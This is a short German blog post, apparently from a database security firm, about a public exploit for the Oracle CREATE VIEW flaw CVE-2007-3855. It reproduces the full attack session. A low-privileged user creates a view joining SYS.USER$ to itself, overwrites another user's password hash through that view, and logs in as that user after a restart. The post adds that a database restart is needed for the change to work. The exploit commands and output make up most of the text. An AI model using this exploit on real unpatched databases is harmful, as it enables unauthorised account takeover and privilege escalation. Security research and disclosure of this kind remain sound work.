Andrea Purificato hat auf seiner Webseite einen Exploit für das Create-View-Problem (DB17 bzw CVE-2007-3855, das von RDS an Oracle gemeldet), das mit dem Juli 2007 CPU korrigiert wurde.
In dem veröffentlichten Exploit wird über eine View das Passwort in der Tabelle SYS.USER$ mit Hilfe des Update Kommandos aktualisiert. Ganz so wie auf der Webseite beschrieben, funktioniert dieser Exploit aber dennoch nicht, da man Passworte nicht direkt (und von Oracle supported) via Update ändern kann.
Beispiel:
— Zuerst berechnen wir Offline den Passwort Hash für den Benutzer RDS und die Passworte RDS und HACKED
c:\tools>makepwd.exe RDS RDS
B2ABF50FCECAE7CB
c:\tools>makepwd.exe RDS HACKED
7B843A192FF96BE9
— Im nächsten Schritt verbinden wir uns zur Datenbank und aktualisieren den Passwort-Hash über das Update Kommando
SQL> connect cpu/cpu
Connected.
SQL> create or replace view bunkerview as
2 select x.name,x.password from sys.user$ x left outer join sys.user$ y on
x.name=y.name;
View created.
SQL> update cpu.bunkerview set password=’7B843A192FF96BE9′ where name =’RDS‘;
1 row updated.
SQL> commit;
Commit complete.
— Das Passwort ist nun auf HACKED geändert worden.
SQL> select password from sys.user$ where name=’RDS‘;
PASSWORD
——————————
7B843A192FF96BE9
— Aber dennoch klappt der Connect nicht…
SQL> connect rds/hacked
ERROR:
ORA-01017: invalid username/password; logon denied
Warning: You are no longer connected to ORACLE.
— Damit dieser Exploit zusammen mit der Passwort-Änderung funktioniert, muss man allerdings die Datenbank neu starten. Nach dem Neustart funktioniert dann der per Update gesetzte Passwort Hash.
C:\>sqlplus rds/hacked
SQL*Plus: Release 10.2.0.3.0 – Production on Sun Jul 22 18:24:41 2007
Copyright (c) 1982, 2006, Oracle. All Rights Reserved.
Connected to:
Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 – Production
With the Partitioning, OLAP and Data Mining Scoring Engine options
SQL>